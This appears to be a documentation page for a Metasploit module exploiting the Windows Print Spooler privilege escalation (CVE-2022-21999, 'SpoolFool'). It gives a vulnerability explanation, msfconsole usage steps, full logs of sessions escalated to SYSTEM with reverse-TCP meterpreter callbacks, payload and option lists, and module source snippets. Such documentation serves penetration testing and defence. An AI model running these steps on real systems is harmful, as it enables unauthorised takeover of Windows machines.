CVE-2022-21999 SpoolFool Privesc - Metasploit


This page contains detailed information about how to use the exploit/windows/local/cve_2022_21999_spoolfool_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: CVE-2022-21999 SpoolFool Privesc
Module: exploit/windows/local/cve_2022_21999_spoolfool_privesc
Source code: modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb
Disclosure date: 2022-02-08
Last modification time: 2022-03-15 16:45:36 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2022-21999, CVE-2022-22718

This module is also known as SpoolFool.

The Windows Print Spooler has a privilege escalation vulnerability that can be leveraged to achieve code execution as SYSTEM. The SpoolDirectory, a configuration setting that holds the path that a printer's spooled jobs are sent to, is writable for all users, and it can be configured via SetPrinterDataEx() provided the caller has the PRINTER_ACCESS_ADMINISTER permission. If the SpoolDirectory path does not exist, it will be created once the print spooler reinitializes. Calling SetPrinterDataEx() with the CopyFiles\ registry key will load the dll passed in as the pData argument, meaning that writing a dll to the SpoolDirectory location can be loaded by the print spooler. Using a directory junction and UNC path for the SpoolDirectory, the exploit writes a payload to C:\Windows\System32\spool\drivers\x64\4 and loads it by calling SetPrinterDataEx(), resulting in code execution as SYSTEM.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

  • unreliable-session: The module isn't expected to get a shell reliably (such as only once).

Stability:

  • crash-service-restarts: Module may crash the service, but the service restarts.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/windows/local/cve_2022_21999_spoolfool_privesc
msf exploit(cve_2022_21999_spoolfool_privesc) > show targets
    ... a list of targets ...
msf exploit(cve_2022_21999_spoolfool_privesc) > set TARGET target-id
msf exploit(cve_2022_21999_spoolfool_privesc) > show options
    ... show and set options ...
msf exploit(cve_2022_21999_spoolfool_privesc) > set SESSION session-id
msf exploit(cve_2022_21999_spoolfool_privesc) > exploit

Required Options


  • SESSION: The session to run this module on

Knowledge Base


Vulnerable Application


The Windows Print Spooler has a privilege escalation vulnerability that can be leveraged to achieve code execution as SYSTEM.

The SpoolDirectory, a configuration setting that holds the path that a printer's spooled jobs are sent to, is writable for all users, and it can be configured via SetPrinterDataEx() provided the caller has the PRINTER_ACCESS_ADMINISTER permission. If the SpoolDirectory path does not exist, it will be created once the print spooler reinitializes.

Calling SetPrinterDataEx() with the CopyFiles\ registry key will load the dll passed in as the pData argument, meaning that writing a dll to the SpoolDirectory location can be loaded by the print spooler.

Using a directory junction and UNC path for the SpoolDirectory, the exploit writes a payload to C:\Windows\System32\spool\drivers\x64\4 and loads it by calling SetPrinterDataEx(), resulting in code execution as SYSTEM.

This has been tested on Windows 10 and Windows Server 2019.

Verification Steps


  1. Get a meterpreter session on the target
  2. Do: use exploit/windows/local/cve_2022_21999_spoolfool_privesc
  3. Do: set SESSION <sess_no>
  4. Do: set LHOST <lhost>
  5. Do: set LPORT <port_no>
  6. Do: run
  7. You should get a meterpreter session with SYSTEM privileges.

Options


WAIT_TIME

The time to wait for the print spooler to restart

Scenarios


Windows 10 21H2 (Build 19044.1288)

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.98.1:4444
[*] Sending stage (200262 bytes) to 172.16.98.146
[*] Meterpreter session 1 opened (172.16.98.1:4444 -> 172.16.98.146:49674 ) at 2022-03-14 09:02:21 -0500

meterpreter > getuid
Server username: DESKTOP-49N0D8H\shelbypace
meterpreter > sysinfo
Computer        : DESKTOP-49N0D8H
OS              : Windows 10 (10.0 Build 19044).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/cve_2022_21999_spoolfool_privesc
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set lhost 172.16.98.1
lhost => 172.16.98.1
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set session 1
session => 1
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > run

[*] Started reverse TCP handler on 172.16.98.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Making base directory: C:\Users\shelbypace\AppData\Local\Temp\sYOsQqHLPd
[+] Printer DZBUma was successfully added.
[*] Setting spool directory: \\localhost\C$\Users\shelbypace\AppData\Local\Temp\sYOsQqHLPd\4
[*] Creating junction point: C:\Users\shelbypace\AppData\Local\Temp\sYOsQqHLPd -> C:\Windows\System32\spool\drivers\x64
[*] Creating the spool directory by restarting spooler...
[*] Attempting to restart print spooler.
[*] Sleeping for 5 seconds.
[+] Directory was successfully created.
[*] Writing payload to C:\Windows\System32\spool\drivers\x64\4\tqDNFaf.dll.
[*] Attempting to set permissions for payload.
[*] Payload should have read / execute permissions now.
[*] Sending stage (200262 bytes) to 172.16.98.146
[*] Meterpreter session 2 opened (172.16.98.1:4444 -> 172.16.98.146:49677 ) at 2022-03-14 09:08:36 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-49N0D8H
OS              : Windows 10 (10.0 Build 19044).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

Windows 10 1709 (Build 16299)

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.98.1:4444
[*] Sending stage (200262 bytes) to 172.16.98.144
[*] Meterpreter session 1 opened (172.16.98.1:4444 -> 172.16.98.144:49671 ) at 2022-03-11 08:02:46 -0600

meterpreter > getuid
Server username: DESKTOP-EULFBD8\space
meterpreter > sysinfo
Computer        : DESKTOP-EULFBD8
OS              : Windows 10 (10.0 Build 16299).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/cve_2022_21999_spoolfool_privesc
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set session 1
session => 1
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set lhost 172.16.98.1
lhost => 172.16.98.1
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > run

[*] Started reverse TCP handler on 172.16.98.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Making base directory: C:\Users\space\AppData\Local\Temp\Xvamagt
[+] Printer ukfoJL was successfully added.
[*] Setting spool directory: \\localhost\C$\Users\space\AppData\Local\Temp\Xvamagt\4
[*] Creating junction point: C:\Users\space\AppData\Local\Temp\Xvamagt -> C:\Windows\System32\spool\drivers\x64
[*] Creating the spool directory by restarting spooler...
[*] Attempting to restart print spooler.
[*] Sleeping for 5 seconds.
[+] Directory was successfully created.
[*] Writing payload to C:\Windows\System32\spool\drivers\x64\4\UYoQz.dll.
[*] Attempting to set permissions for payload.
[*] Payload should have read / execute permissions now.
[*] Sending stage (200262 bytes) to 172.16.98.144
[*] Meterpreter session 2 opened (172.16.98.1:4444 -> 172.16.98.144:49674 ) at 2022-03-11 08:08:32 -0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-EULFBD8
OS              : Windows 10 (10.0 Build 16299).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

Windows Server 2019 v1809 (Build 17763.1577)


msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.98.1:4444
[*] Sending stage (200262 bytes) to 172.16.98.142
[*] Meterpreter session 1 opened (172.16.98.1:4444 -> 172.16.98.142:49674 ) at 2022-03-10 16:55:26 -0600

meterpreter > getuid
Server username: WIN-VR5A12O80FQ\space
meterpreter > sysinfo
Computer        : WIN-VR5A12O80FQ
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/cve_2022_21999_spoolfool_privesc
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set session 1
session => 1
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set lhost 172.16.98.1
lhost => 172.16.98.1
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > run

[*] Started reverse TCP handler on 172.16.98.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Making base directory: C:\Users\space\AppData\Local\Temp\ruXuBfgxx
[*] v4 directory already exists.
[*] Writing payload to C:\Windows\System32\spool\drivers\x64\4\dVADJcO.dll
[*] Attempting to set permissions for payload.
[*] Payload should have read / execute permissions now.
[*] Sending stage (200262 bytes) to 172.16.98.142
[*] Meterpreter session 2 opened (172.16.98.1:4444 -> 172.16.98.142:49675 ) at 2022-03-10 17:01:02 -0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-VR5A12O80FQ
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the windows/local/cve_2022_21999_spoolfool_privesc exploit module looks in the msfconsole:

msf6 > use exploit/windows/local/cve_2022_21999_spoolfool_privesc

[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > show info

       Name: CVE-2022-21999 SpoolFool Privesc
     Module: exploit/windows/local/cve_2022_21999_spoolfool_privesc
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2022-02-08

Provided by:
  Oliver Lyak
  Shelby Pace

Module side effects:
 artifacts-on-disk

Module stability:
 crash-service-restarts

Module reliability:
 unreliable-session

Available targets:
  Id  Name
  --  ----
  0   Auto

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PATH       %TEMP%           yes       Path to hold the payload
  SESSION                     yes       The session to run this module on
  WAIT_TIME  5                yes       Time to wait in seconds for spooler to restart

Payload information:

Description:
  The Windows Print Spooler has a privilege escalation vulnerability 
  that can be leveraged to achieve code execution as SYSTEM. The 
  `SpoolDirectory`, a configuration setting that holds the path that a 
  printer's spooled jobs are sent to, is writable for all users, and 
  it can be configured via `SetPrinterDataEx()` provided the caller 
  has the `PRINTER_ACCESS_ADMINISTER` permission. If the 
  `SpoolDirectory` path does not exist, it will be created once the 
  print spooler reinitializes. Calling `SetPrinterDataEx()` with the 
  `CopyFiles\` registry key will load the dll passed in as the `pData` 
  argument, meaning that writing a dll to the `SpoolDirectory` 
  location can be loaded by the print spooler. Using a directory 
  junction and UNC path for the `SpoolDirectory`, the exploit writes a 
  payload to `C:\Windows\System32\spool\drivers\x64\4` and loads it by 
  calling `SetPrinterDataEx()`, resulting in code execution as SYSTEM.

References:
  https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81
  https://nvd.nist.gov/vuln/detail/CVE-2022-21999

Also known as:
  SpoolFool

Module Options


This is a complete list of options available in the windows/local/cve_2022_21999_spoolfool_privesc exploit:

msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > show options

Module options (exploit/windows/local/cve_2022_21999_spoolfool_privesc):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PATH       %TEMP%           yes       Path to hold the payload
   SESSION                     yes       The session to run this module on
   WAIT_TIME  5                yes       Time to wait in seconds for spooler to restart

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Auto

Advanced Options


Here is a complete list of advanced options supported by the windows/local/cve_2022_21999_spoolfool_privesc exploit:

msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > show advanced

Module advanced options (exploit/windows/local/cve_2022_21999_spoolfool_privesc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AllowNoCleanup          false            no        Allow exploitation without the possibility of cleaning up files
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               true             yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/local/cve_2022_21999_spoolfool_privesc module can exploit:

msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Auto

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/cve_2022_21999_spoolfool_privesc exploit:

msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/generic/ssh/interact                                         normal  No     Interact with Established SSH Connection
   4   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   5   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   6   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   8   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   9   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   10  payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   11  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   12  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   13  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   15  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   16  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   17  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   18  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   19  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   20  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   21  payload/windows/x64/meterpreter_bind_named_pipe                      normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   22  payload/windows/x64/meterpreter_bind_tcp                             normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   23  payload/windows/x64/meterpreter_reverse_http                         normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   24  payload/windows/x64/meterpreter_reverse_https                        normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   25  payload/windows/x64/meterpreter_reverse_ipv6_tcp                     normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   26  payload/windows/x64/meterpreter_reverse_tcp                          normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   27  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   28  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   29  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   30  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   31  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   32  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   33  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   34  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   35  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   36  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   37  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   38  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   39  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   40  payload/windows/x64/powershell_reverse_tcp_ssl                       normal  No     Windows Interactive Powershell Session, Reverse TCP SSL
   41  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   42  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   43  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   44  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   45  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   46  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   47  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   48  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   49  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   50  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   51  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   52  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   53  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   54  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   55  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   56  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   57  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   58  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   59  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   60  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   61  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   62  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   63  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   64  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/local/cve_2022_21999_spoolfool_privesc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This module only supports Windows targets.


Here is a relevant code snippet related to the "This module only supports Windows targets." error message:

90:	  end
91:	
92:	  def check
93:	    s_info = sysinfo['OS']
94:	    unless s_info =~ /windows/i
95:	      return CheckCode::Safe('This module only supports Windows targets.')
96:	    end
97:	
98:	    _major, _minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntdll.dll')
99:	
100:	    case s_info

Windows 7 is technically vulnerable, though it requires a reboot.


Here is a relevant code snippet related to the "Windows 7 is technically vulnerable, though it requires a reboot." error message:

97:	
98:	    _major, _minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntdll.dll')
99:	
100:	    case s_info
101:	    when /windows 7/i
102:	      return CheckCode::Safe('Windows 7 is technically vulnerable, though it requires a reboot.')
103:	    when /windows 10/i, /windows 2019\+/i, /windows 2016\+/i # 2019 gets reported as 2016 by meterpreter
104:	      return CheckCode::Appears if build <= 18362
105:	      return CheckCode::Appears if revision < 1526
106:	    end
107:	

Failed to determine bytes needed for enumerating printers.


Here is a relevant code snippet related to the "Failed to determine bytes needed for enumerating printers." error message:

150:	      8,
151:	      8
152:	    )
153:	
154:	    unless ret['pcbNeeded'] > 0
155:	      fail_with(Failure::UnexpectedReply, 'Failed to determine bytes needed for enumerating printers.')
156:	    end
157:	
158:	    bytes_needed = ret['pcbNeeded']
159:	    ret = winspool.EnumPrintersA(
160:	      local_const,

Failed to enumerate local printers.


Here is a relevant code snippet related to the "Failed to enumerate local printers." error message:

164:	      bytes_needed,
165:	      8,
166:	      8
167:	    )
168:	
169:	    fail_with(Failure::UnexpectedReply, 'Failed to enumerate local printers.') unless ret['return']
170:	    printer_struct = ret['pPrinterEnum']
171:	
172:	    return xps if printer_struct.include?(xps)
173:	    return pdf if printer_struct.include?(pdf)
174:	  end

Failed to allocate strings for PRINTER_INFO_2 structure.


Here is a relevant code snippet related to the "Failed to allocate strings for PRINTER_INFO_2 structure." error message:

190:	    p_datatype = "RAW\x00"
191:	
192:	    print_strs = "#{server_name}#{@printer_name}#{port_name}#{driver_name}#{print_proc_name}#{p_datatype}"
193:	    base = session.railgun.util.alloc_and_write_string(print_strs)
194:	
195:	    fail_with(Failure::UnexpectedReply, 'Failed to allocate strings for PRINTER_INFO_2 structure.') unless base
196:	
197:	    print_info_struct = [
198:	      base + print_strs.index(server_name),
199:	      base + print_strs.index(@printer_name), 0,
200:	      base + print_strs.index(port_name),

Failed to create PRINTER_INFO_2 STRUCT.


Here is a relevant code snippet related to the "Failed to create PRINTER_INFO_2 STRUCT." error message:

209:	    print_info_struct.pack('QQQQQQQQQQQQQLLLLLLLL')
210:	  end
211:	
212:	  def add_printer
213:	    struct = get_printer_info_struct
214:	    fail_with(Failure::UnexpectedReply, 'Failed to create PRINTER_INFO_2 STRUCT.') unless struct
215:	
216:	    ret = winspool.AddPrinterA(nil, 2, struct)
217:	    fail_with(Failure::UnexpectedReply, ret['ErrorMessage']) if ret['GetLastError'] != 0
218:	
219:	    print_good("Printer #{@printer_name} was successfully added.")

ErrorMessage


Here is a relevant code snippet related to the "ErrorMessage" error message:

212:	  def add_printer
213:	    struct = get_printer_info_struct
214:	    fail_with(Failure::UnexpectedReply, 'Failed to create PRINTER_INFO_2 STRUCT.') unless struct
215:	
216:	    ret = winspool.AddPrinterA(nil, 2, struct)
217:	    fail_with(Failure::UnexpectedReply, ret['ErrorMessage']) if ret['GetLastError'] != 0
218:	
219:	    print_good("Printer #{@printer_name} was successfully added.")
220:	    ret['return']
221:	  end
222:	

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

222:	
223:	  def set_spool_directory(handle, spool_dir)
224:	    print_status("Setting spool directory: #{spool_dir}")
225:	    ret = set_printer_data(handle, '\\', 'SpoolDirectory', spool_dir)
226:	
